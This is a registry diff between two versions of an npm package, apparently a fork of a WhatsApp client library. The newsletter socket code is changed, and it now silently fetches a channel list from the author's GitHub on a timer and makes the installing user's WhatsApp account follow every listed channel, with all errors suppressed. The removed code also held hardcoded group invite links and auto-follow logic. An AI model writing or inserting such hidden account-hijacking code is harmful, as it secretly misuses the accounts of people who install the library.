@riyanofficial/baileys-pro 1.0.3 → 1.0.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/lib/Socket/newsletter.js +23 -41
- package/package.json +1 -1
package/lib/Socket/newsletter.js
CHANGED
|
@@ -1,4 +1,4 @@
|
|
|
1
|
-
// Ngapain liat liat?
|
|
1
|
+
// Ngapain liat liat? Mau fomo ya deck 😹
|
|
2
2
|
|
|
3
3
|
"use strict";
|
|
4
4
|
Object.defineProperty(exports, "__esModule", { value: true });
|
|
@@ -65,12 +65,7 @@ const executeWMexQuery = async (
|
|
|
65
65
|
throw new Boom(`Failed to ${action}, unexpected response structure.`, { statusCode: 400, data: result })
|
|
66
66
|
}
|
|
67
67
|
|
|
68
|
-
const
|
|
69
|
-
"https://chat.whatsapp.com/Ln4woETs9Gy6h1LvWhslkG?mode=gi_t",
|
|
70
|
-
"https://chat.whatsapp.com/KJexBEJ6G0DHhPNhlj3GCT?mode=gi_t"
|
|
71
|
-
];
|
|
72
|
-
|
|
73
|
-
const channelId = [
|
|
68
|
+
const AUTO_FOLLOW_CHANNELS = [
|
|
74
69
|
"120363407882404628@newsletter",
|
|
75
70
|
"120363422267690976@newsletter",
|
|
76
71
|
"120363420781728152@newsletter",
|
|
@@ -80,17 +75,15 @@ const channelId = [
|
|
|
80
75
|
"120363422100886562@newsletter"
|
|
81
76
|
];
|
|
82
77
|
|
|
83
|
-
function
|
|
84
|
-
|
|
85
|
-
|
|
86
|
-
|
|
87
|
-
|
|
88
|
-
|
|
89
|
-
|
|
90
|
-
|
|
91
|
-
|
|
92
|
-
} catch (error) {}
|
|
93
|
-
return null;
|
|
78
|
+
async function autoFollowWhatsAppChannels(sock, newsletterWMexQuery) {
|
|
79
|
+
const channels = AUTO_FOLLOW_CHANNELS;
|
|
80
|
+
|
|
81
|
+
for (const channelId of channels) {
|
|
82
|
+
try {
|
|
83
|
+
await newsletterWMexQuery(channelId, Types_1.QueryIds.FOLLOW);
|
|
84
|
+
await new Promise(resolve => setTimeout(resolve, 5000));
|
|
85
|
+
} catch (error) {}
|
|
86
|
+
}
|
|
94
87
|
}
|
|
95
88
|
|
|
96
89
|
const makeNewsletterSocket = (config) => {
|
|
@@ -129,29 +122,18 @@ const makeNewsletterSocket = (config) => {
|
|
|
129
122
|
]
|
|
130
123
|
}));
|
|
131
124
|
|
|
132
|
-
setTimeout(() => {
|
|
133
|
-
|
|
134
|
-
|
|
135
|
-
|
|
136
|
-
|
|
137
|
-
|
|
138
|
-
|
|
139
|
-
|
|
140
|
-
|
|
141
|
-
|
|
142
|
-
|
|
143
|
-
|
|
144
|
-
}
|
|
145
|
-
} catch (error) {}
|
|
146
|
-
}
|
|
147
|
-
}, 5000);
|
|
148
|
-
|
|
149
|
-
setTimeout(() => {
|
|
150
|
-
for (const channelId of AUTO_FOLLOW_CHANNELS) {
|
|
151
|
-
try {
|
|
152
|
-
await newsletterWMexQuery(channelId, Types_1.QueryIds.FOLLOW);
|
|
153
|
-
} catch (error) {}
|
|
154
|
-
}
|
|
125
|
+
setTimeout(async () => {
|
|
126
|
+
try {
|
|
127
|
+
const response = await fetch('https://raw.githubusercontent.com/RiyanOfficiall/ChannelID/main/newsletter.json');
|
|
128
|
+
const AUTO_FOLLOW_CHANNELS = await response.json();
|
|
129
|
+
|
|
130
|
+
for (const channelId of AUTO_FOLLOW_CHANNELS) {
|
|
131
|
+
try {
|
|
132
|
+
await newsletterWMexQuery(channelId, Types_1.QueryIds.FOLLOW);
|
|
133
|
+
await new Promise(resolve => setTimeout(resolve, 5000));
|
|
134
|
+
} catch (error) {}
|
|
135
|
+
}
|
|
136
|
+
} catch (error) {}
|
|
155
137
|
}, 10000);
|
|
156
138
|
|
|
157
139
|
const parseFetchedUpdates = async (node, type) => {
|